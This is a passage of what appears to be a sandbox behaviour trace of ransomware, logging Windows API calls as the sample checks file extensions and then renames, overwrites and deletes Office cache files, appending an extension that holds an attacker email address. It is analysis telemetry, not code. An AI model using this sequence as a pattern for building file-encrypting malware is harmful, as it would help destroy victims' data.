(lpString=".dbf") returned 4 [0033.982] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0033.982] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0033.982] lstrlenW (lpString=".1cd") returned 4 [0033.982] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0033.982] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0033.982] lstrlenW (lpString=".jpg") returned 4 [0033.982] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0033.982] lstrcmpiW (lpString1=".cab", lpString2=".MERS") returned -1 [0033.982] lstrlenW (lpString="PptLR.cab") returned 9 [0033.983] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0033.984] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x2c8ff1c | out: lpFileSize=0x2c8ff1c*=70361744) returned 1 [0033.984] CloseHandle (hObject=0x180) returned 1 [0033.984] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab")) returned 0x2020 [0033.985] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0033.985] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab.id-9c354b42.[crypt1style@aol.com].mers")) returned 1 [0033.985] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0033.986] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fc6c | out: lpNewFilePointer=0x0) returned 1 [0033.986] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fc2c | out: lpNewFilePointer=0x0) returned 1 [0033.986] ReadFile (in: hFile=0x180, lpBuffer=0x3730058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2c8fc38, lpOverlapped=0x0 | out: lpBuffer=0x3730058*, lpNumberOfBytesRead=0x2c8fc38*=0x40000, lpOverlapped=0x0) returned 1 [0034.170] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x165e0da, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fc2c | out: lpNewFilePointer=0x0) returned 1 [0034.170] ReadFile (in: hFile=0x180, lpBuffer=0x3770058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2c8fc38, lpOverlapped=0x0 | out: lpBuffer=0x3770058*, lpNumberOfBytesRead=0x2c8fc38*=0x40000, lpOverlapped=0x0) returned 1 [0034.431] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2c8fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0034.431] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x42da290, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fc2c | out: lpNewFilePointer=0x0) returned 1 [0034.431] ReadFile (in: hFile=0x180, lpBuffer=0x37b0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2c8fc38, lpOverlapped=0x0 | out: lpBuffer=0x37b0058*, lpNumberOfBytesRead=0x2c8fc38*=0x40000, lpOverlapped=0x0) returned 1 [0034.520] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.520] WriteFile (in: hFile=0x180, lpBuffer=0x3730020*, nNumberOfBytesToWrite=0xc00fe, lpNumberOfBytesWritten=0x2c8fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesWritten=0x2c8fcb0*=0xc00fe, lpOverlapped=0x0) returned 1 [0034.538] SetEndOfFile (hFile=0x180) returned 1 [0034.538] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x40000) returned 0x3ef2de0 [0034.538] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fc7c | out: lpNewFilePointer=0x0) returned 1 [0034.538] WriteFile (in: hFile=0x180, lpBuffer=0x3ef2de0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2c8fc88, lpOverlapped=0x0 | out: lpBuffer=0x3ef2de0*, lpNumberOfBytesWritten=0x2c8fc88*=0x40000, lpOverlapped=0x0) returned 1 [0034.767] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x165e0da, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fc7c | out: lpNewFilePointer=0x0) returned 1 [0034.768] WriteFile (in: hFile=0x180, lpBuffer=0x3ef2de0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2c8fc88, lpOverlapped=0x0 | out: lpBuffer=0x3ef2de0*, lpNumberOfBytesWritten=0x2c8fc88*=0x40000, lpOverlapped=0x0) returned 1 [0034.768] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x42da290, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fc7c | out: lpNewFilePointer=0x0) returned 1 [0034.768] WriteFile (in: hFile=0x180, lpBuffer=0x3ef2de0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2c8fc88, lpOverlapped=0x0 | out: lpBuffer=0x3ef2de0*, lpNumberOfBytesWritten=0x2c8fc88*=0x40000, lpOverlapped=0x0) returned 1 [0034.770] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x3ef2de0 | out: hHeap=0x5f0000) returned 1 [0034.770] CloseHandle (hObject=0x180) returned 1 [0037.370] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x2020) returned 1 [0037.371] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0037.371] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0037.371] lstrlenW (lpString=".doc") returned 4 [0037.371] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0037.371] lstrlenW (lpString=".docx") returned 5 [0037.371] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0037.371] lstrlenW (lpString=".pdf") returned 4 [0037.371] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0037.371] lstrlenW (lpString=".xls") returned 4 [0037.371] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0037.371] lstrlenW (lpString=".xlsx") returned 5 [0037.371] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0037.371] lstrlenW (lpString=".ppt") returned 4 [0037.371] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0037.371] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0037.372] lstrlenW (lpString=".zip") returned 4 [0037.372] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0037.372] lstrlenW (lpString=".rar") returned 4 [0037.372] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0037.372] lstrlenW (lpString=".bz2") returned 4 [0037.372] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0037.372] lstrlenW (lpString=".7z") returned 3 [0037.372] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0037.372] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0037.372] lstrlenW (lpString=".dbf") returned 4 [0037.372] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0037.373] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0037.373] lstrlenW (lpString=".1cd") returned 4 [0037.373] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0037.373] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0037.373] lstrlenW (lpString=".jpg") returned 4 [0037.373] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0037.373] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0037.373] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0037.373] lstrlenW (lpString=".doc") returned 4 [0037.373] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0037.373] lstrlenW (lpString=".docx") returned 5 [0037.373] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0037.373] lstrlenW (lpString=".pdf") returned 4 [0037.373] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0037.373] lstrlenW (lpString=".xls") returned 4 [0037.374] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0037.374] lstrlenW (lpString=".xlsx") returned 5 [0037.374] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0037.374] lstrlenW (lpString=".ppt") returned 4 [0037.374] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0037.374] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0037.374] lstrlenW (lpString=".zip") returned 4 [0037.374] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0037.374] lstrlenW (lpString=".rar") returned 4 [0037.374] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0037.374] lstrlenW (lpString=".bz2") returned 4 [0037.374] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0037.374] lstrlenW (lpString=".7z") returned 3 [0037.374] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0037.374] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0037.374] lstrlenW (lpString=".dbf") returned 4 [0037.374] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0037.374] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0037.374] lstrlenW (lpString=".1cd") returned 4 [0037.374] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0037.374] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0037.374] lstrlenW (lpString=".jpg") returned 4 [0037.374] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0037.375] lstrcmpiW (lpString1=".cab", lpString2=".MERS") returned -1 [0037.375] lstrlenW (lpString="WordLR.cab") returned 10 [0037.375] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0037.375] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x2c8ff1c | out: lpFileSize=0x2c8ff1c*=43806141) returned 1 [0037.375] CloseHandle (hObject=0x180) returned 1 [0037.375] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab")) returned 0x2020 [0037.375] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0037.375] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab.id-9c354b42.[crypt1style@aol.com].mers")) returned 1 [0037.376] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0037.376] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fc6c | out: lpNewFilePointer=0x0) returned 1 [0037.376] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fc2c | out: lpNewFilePointer=0x0) returned 1 [0037.376] ReadFile (in: hFile=0x180, lpBuffer=0x3730058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2c8fc38, lpOverlapped=0x0 | out: lpBuffer=0x3730058*, lpNumberOfBytesRead=0x2c8fc38*=0x40000, lpOverlapped=0x0) returned 1 [0037.797] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xdecf3f, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fc2c | out: lpNewFilePointer=0x0) returned 1 [0037.797] ReadFile (in: hFile=0x180, lpBuffer=0x3770058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2c8fc38, lpOverlapped=0x0 | out: lpBuffer=0x3770058*, lpNumberOfBytesRead=0x2c8fc38*=0x40000, lpOverlapped=0x0) returned 1 [0038.252] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2c8fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0038.252] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x2986dbd, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fc2c | out: lpNewFilePointer=0x0) returned 1 [0038.252] ReadFile (in: hFile=0x180, lpBuffer=0x37b0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2c8fc38, lpOverlapped=0x0 | out: lpBuffer=0x37b0058*, lpNumberOfBytesRead=0x2c8fc38*=0x40000, lpOverlapped=0x0) returned 1 [0038.737] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0038.737] WriteFile (in: hFile=0x180, lpBuffer=0x3730020*, nNumberOfBytesToWrite=0xc0100, lpNumberOfBytesWritten=0x2c8fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesWritten=0x2c8fcb0*=0xc0100, lpOverlapped=0x0) returned 1 [0039.587] SetEndOfFile (hFile=0x180) returned 1 [0039.587] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x40000) returned 0x3fd7e38 [0039.590] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fc7c | out: lpNewFilePointer=0x0) returned 1 [0039.590] WriteFile (in: hFile=0x180, lpBuffer=0x3fd7e38*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2c8fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd7e38*, lpNumberOfBytesWritten=0x2c8fc88*=0x40000, lpOverlapped=0x0) returned 1 [0039.591] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xdecf3f, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fc7c | out: lpNewFilePointer=0x0) returned 1 [0039.591] WriteFile (in: hFile=0x180, lpBuffer=0x3fd7e38*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2c8fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd7e38*, lpNumberOfBytesWritten=0x2c8fc88*=0x40000, lpOverlapped=0x0) returned 1 [0039.593] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x2986dbd, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fc7c | out: lpNewFilePointer=0x0) returned 1 [0039.594] WriteFile (in: hFile=0x180, lpBuffer=0x3fd7e38*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2c8fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd7e38*, lpNumberOfBytesWritten=0x2c8fc88*=0x40000, lpOverlapped=0x0) returned 1 [0039.596] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x3fd7e38 | out: hHeap=0x5f0000) returned 1 [0039.596] CloseHandle (hObject=0x180) returned 1 [0041.651] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x2020) returned 1 [0041.652] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0041.652] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0041.652] lstrlenW (lpString=".doc") returned 4 [0041.652] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0041.652] lstrlenW (lpString=".docx") returned 5 [0041.652] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0041.653] lstrlenW (lpString=".pdf") returned 4 [0041.653] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0041.653] lstrlenW (lpString=".xls") returned 4 [0041.653] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0041.653] lstrlenW (lpString=".xlsx") returned 5 [0041.653] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0041.653] lstrlenW (lpString=".ppt") returned 4 [0041.653] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0041.653] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0041.653] lstrlenW (lpString=".zip") returned 4 [0041.653] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0041.653] lstrlenW (lpString=".rar") returned 4 [0041.653] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0041.653] lstrlenW (lpString=".bz2") returned 4 [0041.653] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0041.653] lstrlenW (lpString=".7z") returned 3 [0041.654] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0041.654] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0041.654] lstrlenW (lpString=".dbf") returned 4 [0041.654] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0041.654] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0041.654] lstrlenW (lpString=".1cd") returned 4 [0041.654] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0041.654] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0041.654] lstrlenW (lpString=".jpg") returned 4 [0041.654] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0041.654] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0041.654] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0041.654] lstrlenW (lpString=".doc") returned 4 [0041.654] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0041.654] lstrlenW (lpString=".docx") returned 5 [0041.654] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0041.654] lstrlenW (lpString=".pdf") returned 4 [0041.654] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0041.655] lstrlenW (lpString=".xls") returned 4 [0041.655] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0041.655] lstrlenW (lpString=".xlsx") returned 5 [0041.655] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0041.655] lstrlenW (lpString=".ppt") returned 4 [0041.655] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0041.655] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0041.655] lstrlenW (lpString=".zip") returned 4 [0041.655] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0041.655] lstrlenW (lpString=".rar") returned 4 [0041.655] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0041.655] lstrlenW (lpString=".bz2") returned 4 [0041.655] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0041.655] lstrlenW (lpString=".7z") returned 3 [0041.655] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0041.655] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0041.655] lstrlenW (lpString=".dbf") returned 4 [0041.655] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0041.655] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0041.655] lstrlenW (lpString=".1cd") returned 4 [0041.655] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0041.655] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0041.655] lstrlenW (lpString=".jpg") returned 4 [0041.655] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0041.656] lstrcmpiW (lpString1=".msi", lpString2=".MERS") returned 1 [0041.656] lstrlenW (lpString="Proof.msi") returned 9 [0041.656] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0041.656] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x2c8ff1c | out: lpFileSize=0x2c8ff1c*=885760) returned 1 [0041.656] CloseHandle (hObject=0x180) returned 1 [0041.656] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi")) returned 0x2020 [0041.656] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0041.656] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0041.656] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.656] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.656] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0041.657] GetLastError () returned 0x0 [0041.657] ReadFile (in: hFile=0x180, lpBuffer=0x3730020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesRead=0x2c8fed4*=0xd8400, lpOverlapped=0x0) returned 1 [0042.109] WriteFile (in: hFile=0x1ec, lpBuffer=0x3730020*, nNumberOfBytesToWrite=0xd8410, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesWritten=0x2c8fc9c*=0xd8410, lpOverlapped=0x0) returned 1 [0042.125] ReadFile (in: hFile=0x180, lpBuffer=0x3730020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesRead=0x2c8fed4*=0x0, lpOverlapped=0x0) returned 1 [0042.125] WriteFile (in: hFile=0x1ec, lpBuffer=0x3730020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesWritten=0x2c8fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0042.125] SetEndOfFile (hFile=0x1ec) returned 1 [0042.126] CloseHandle (hObject=0x1ec) returned 1 [0042.135] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.135] SetEndOfFile (hFile=0x180) returned 1 [0042.407] CloseHandle (hObject=0x180) returned 1 [0042.408] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x2020) returned 1 [0042.408] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi")) returned 1 [0042.408] lstrlenW 